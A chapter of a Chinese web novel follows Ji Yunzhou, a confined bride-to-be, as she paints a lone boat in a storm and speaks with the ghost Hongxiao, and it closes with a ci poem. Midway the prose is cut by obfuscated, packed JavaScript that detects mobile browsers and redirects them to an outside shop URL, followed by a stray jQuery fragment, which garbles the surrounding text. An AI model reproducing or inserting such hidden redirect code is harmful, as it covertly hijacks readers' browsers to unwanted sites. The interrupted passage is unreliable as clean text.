屋子里只留声机转着，细瘦的唱针在黑亮的唱片上磨出《牡丹亭》的调子，绵柔又凄清。
唱词幽幽地绕着圈，像一缕轻烟，从那朵铜喇叭里升起来，飞进空落落的房间里转来转去，却永远也转不出这间屋子。
窗外是灰扑扑的天光，照在地板上，把家具的影子拖得又长又淡，一室都是半明半暗的冰凉。
季云舟坐在靠近窗台处的写字台边。西式斜面书桌，配一只旋转木椅。台上的铜制墨水瓶、钢笔、铅笔、信笺都被收到了一边。
方才想给秋姊写信，可又不知该寄往哪里。前些日子听说秋姊又去了美利坚，并没留下住址信息。不想贸然打扰，于是收起信纸钢笔，拿出作画工具。
面前铺一方半生熟绵连宣，裁成斗方，手边立着几支湖笔，大白云染色，小衣纹勾线，一支七紫三羊悬在笔架上，笔锋柔润，像刚浸过水。
手中那支笔尖沾了墨，在纸上轻轻一拖。嫩灰落作一片沉云，墨色不浓不淡，却洇得厚重，压在那儿，像一团铅。季云舟看着那片云，不觉想到了二哥。
她又蘸了墨，再拖一笔。另一片云，更厚更重，压在第一片上头，两层叠起来，那底下的天就透不过气来了。这片便算是父亲，可不能顾此失彼。
她看着两片黑压压的云，嘴角微微勾起，扯出一个自娱自乐地苦笑。可那点笑意很快就僵住了，最后渐渐消散。
笔尖轻顿，季云舟愣了半晌，才从一旁的小盒子里取出些蛤粉，混水沾上，在云缝里划了一笔。
一星子细亮，从云缝里漏下来，照在底下翻卷的惊涛中。海是墨泼出来的，浪头打得凶。深深浅浅的黑，一道一道的浪，涌着，翻着。
一叶扁舟孤伶伶扎在浪涛里，船身险些要被完全吞了进去，却没有调转回岸，在浪里头挣扎着，一点一点往前，像人心里那点不肯就范的念头，明明弱得很，偏要同天争一口气。
季云舟画完那叶舟，手有些发颤。她慢慢搁下笔，望着那一点白出神。
窗外天还阴着。她被关在自己的房间里，门窗都看得紧，连风都透得少了几分。
这几日母亲以调养身子为由，将她锁在屋子里不许外出，虽说名头好听，可谁都明白这是赤裸裸的软禁，甚至比看二哥还要看得紧。留了好几位长工在她房门口，一有动静便要上报。
她的心就这样被浸在凉水里，一天比一天沉，连呼吸都带着滞涩。只觉得往后的日子漫长得熬人，半点光亮也瞧不见。
留声机里的昆曲还在唱，那音色却倏忽间变了，还是《牡丹亭》，只是腔调更幽，更怨，像从很深很深的地方冒出来似的。
季云舟心中一动，但满心郁结堵在胸口，拼命地往下坠，压得她回不了头。
见她没什么反应，一阵阴凉的风吹了过来。不知从何处吹起，直吹得天花板上那顶吊灯轻轻地晃动，影子在墙上摇摇摆摆，像一群跳着舞的小人。
她后退半步，坐上木椅。那阵风亦步亦趋，慢慢靠近。桌上放着的《牡丹亭》被吹得打开，哗啦啦地翻着页，翻到某一处，停了。
季云舟偏过头去，强迫自己不去理会，她沉默地坐着，垂眼遮住眸底漾起的波澜。
书页被吹得立起来，又落下去，落下去，又立起来。那阵风不依不饶，吹过来撩起她的头发。
几缕黑丝飘到她眼前去，又轻盈地擦过鼻尖，勾起一丝酸涩的痒意，最后悄没声儿地钻到了眼眶里。
长睫垂落，终是忍不住叹了口气。轻飘飘，空落落，比淡烟还细，刚出口就散在了空气里，没留下一点声响。
背后留声机里飘出来的唱腔又变回了原样。一阵沙沙过后，是一声带着笑的询问：
“蓁蓁，你叹的什么气？”
季云舟下意识坐直了身体，指尖微微蜷着，半晌又放松下来。
她知道那是谁。
自那阵阴风吹起，她便知道是红绡来了。只是……
她不知道该如何面对她。
“这几日……”
那声音却不顾她的回避，继续说道，
“你不去井边了，也不给我烧香，竟连吃的也不供给我……”
季云舟默默听着，下意识低下头，视线刚好落在那副方才画好的图上。浪里头的一片白，还在漂泊着。
“我虽是不需吃这些食物饱腹……可那海棠糕，还是念想的。”
红绡接着说，佯装出来的怒气，尖利利的，却没半分锋芒，
“可你总不能连口信都不捎给我，自个儿一个人舒舒服服地躲在屋子里偷懒，留我一个鬼那在井边惨惨戚戚，心也忒狠了些！”
闻言，季云舟虚虚定在宣纸上的目光闪烁了一下。她低声呢喃道：
“……是我对不住你。”
心知红绡没办法直接在屋子里显形，抬头寻找对方的影子实在无用，她只把头垂得更低。
“哈哈，这有什么对不住的，不过是吓唬吓唬你而已，难不成我们蓁蓁没听出来，当真了？”
暗处飘来一声轻笑，不阴不厉，反倒带着点探询的软，脆生生地勾在她耳边。像在问她，又像在逗她。
季云舟一味沉默，连呼吸都放得极轻，过了好一会儿，才又开口：
“我二哥身边有一个仆人，名叫阿福。”
她慢慢说着，声音干涩，
“他生了病高烧不退，烧了好多天，吃了药，病却一直不见好。二哥借此事闹起来，非要请人来家里……驱鬼。”
“我怕……”
她顿了顿，声音低下去，
“怕他们来真的，会伤了你。”
红绡静了片刻，忽然又无声无息地拂起一缕风，细细地绕着对方缠绵。
“姆妈大概查到了我在井边祭祀的事儿，将我锁在房间里，不准再出房门。”
季云舟由着那阵阴柔的风一会儿轻轻撩动她鬓边的碎发，一会儿悄摸卷起她的衣摆，一刻不停。
“所以我不能再去井边……”
风片凉丝丝地蹭过她的颈侧，不由得瑟缩一下，却依旧垂着眼，连眉尖也不曾蹙起。
“不能再烧香，不能送吃食，也不能……”
“不能见我？”
红绡接过话头，刺刺地嗤笑了一声，
“蓁蓁，你是不能见我，还是……不敢见我？”
她的声音渐渐冷下来，
“那缺德的小家伙烧我东西，我还没找他算账呢，他自个儿先病了算是个什么事儿？”
“明明与我无冤无仇，却要上赶着害我，无意间惹下了因果，偏偏胆子小，受不得吓，染上那些脏东西，才发的热。这与我有何干系？全是他自找的！这也要算我害了他么？我红绡——真真是比窦娥还冤了！”
季云舟听着红绡怨怼的声音，心里不免着急起来，也顾不得疏远回避，忙抬高声音想要安抚对方：
“我知道的，我都明白。”
她的目光随之落向窗外昏沉沉的天光，像是忽然想到了什么很远、很轻的人事，整个人微微一怔，又垂下眼，
“我相信你没害人。”
“那为什么要请人来驱我？”
喉间塞着一团化不开的棉花，又涩又闷，把她想说的话全都堵在舌尖，挤到口边，散成了无声的叹息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553003|203303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
季云舟唇瓣动了动，就这么怔怔地张着嘴，眼底空茫无依，说不出的沉郁从那双半睁的眸子里流出来。
她又冷了下去，低着头，望向自己的手。那双手方才还在画画，画那片云，那丝光，那层浪，那叶舟。
指节上戴着的戒指已经被她取下来，可这不过是自欺欺人的片刻自由。过不了几天，她就要穿上那件丧气的白纱裙，捧着祝家的新茶，成为祝少爷的祝太太了。
“因为我什么也做不了……”
她莫名解释起来，声音压得极低，仿佛躲着谁，怕被人听见似的，
“等我嫁了人……就得离开这里。这宅子，这后院，这口井——我都管不了。我怕……”
季云舟轻轻咽了口唾沫，抬手抚上桌面铺着的泛黄宣纸：
“不……”
她扯了扯唇角，眸光发暗，面上扬起的那点笑里藏着无奈的苦涩，
“我何时能管过？明明从来不能按照自己的意愿行事，也不能挣脱这所谓的命运过活。”
她嘲弄起自己的荒唐：
“不管是从前还是现在，我连自己都护不住，又何谈能护你呢？我护不了你的……”
那一片孤舟，那几道黑浪，那云缝里的光亮，在她眼前晃荡起来。
“我什么都护不住。”
“我就要走了。”
“我得嫁人。”
屋子里静下来。
留声机不知歇地转着，咿咿呀呀的唱腔还在响。可那声音远了，隔着层层叠叠的杂音，听不真切。
过了很久、很久。
久到窗外的天光完全淡了下去。
万物都变得虚无，只有季云舟一个人，耗着这漫无边际的空寂，红绡却忽地笑了。
“戏里那个杜丽娘，好歹还有个梦吓。”
她一个字一个字，清清楚楚地质问，
“她为了梦里人死……你呢？做个梦都这不敢那不妥的，连梦里人都没有，还要为谁活？”
季云舟闻言不禁愣住，眼睫顿在半空，不再开合，连呼吸都忘了续上。她先前的那点郁结与沉默，一瞬间被这如突如其来的忡怔冲得干干净净。
红绡娇俏的嗓音沉下来。是失望？是嘲讽？还是伤心？冷漠？都有一点，又都不是。
她听不懂。
一声悠长的叹息。
红绡消失了。
没有风，没有影，没有一点点痕迹。就像她从未出现过一样。
但那幽幽的唱腔，却依旧一圈一圈，永远也转不出去。
季云舟猛地抬起头，屋子里又只剩下她一个人。
不由得苦笑一声，她靠上椅背，看着面前那幅画，脑子里一片空白，什么也不想去思考。
一叶轻舟，还在浪里头。
一滴泪水，就那样坠落。
没声没息地砸在宣纸上，沉甸甸地晕开来，模糊一团。
那叶苦苦支撑的扁舟，被推进浪里。海浪不断奔涌，那叶扁舟……
那叶扁舟，大概总有一天会在沉默中沉没。
——
列位看官，季小姐这幅画，真真是画由心生，怎见得？有《雨霖铃》一词为证：
梨云泣泪，枯井空寂，冷烟万重。
幽咽泉流断续，惊回处、灯摇书页。
乱了青丝几缕，墨痕凝啼血。
念往昔，苏合香烬，忍顾红袖浪千叠。
痴魂不恨驱傩急，怎堪知、因果相呜咽！
画中扁舟谁系？空自怨、此身将嫁。
杜丽娘魂，应笑云舟痴心未化。
算此后烟水茫茫，泪眼哭残蜡。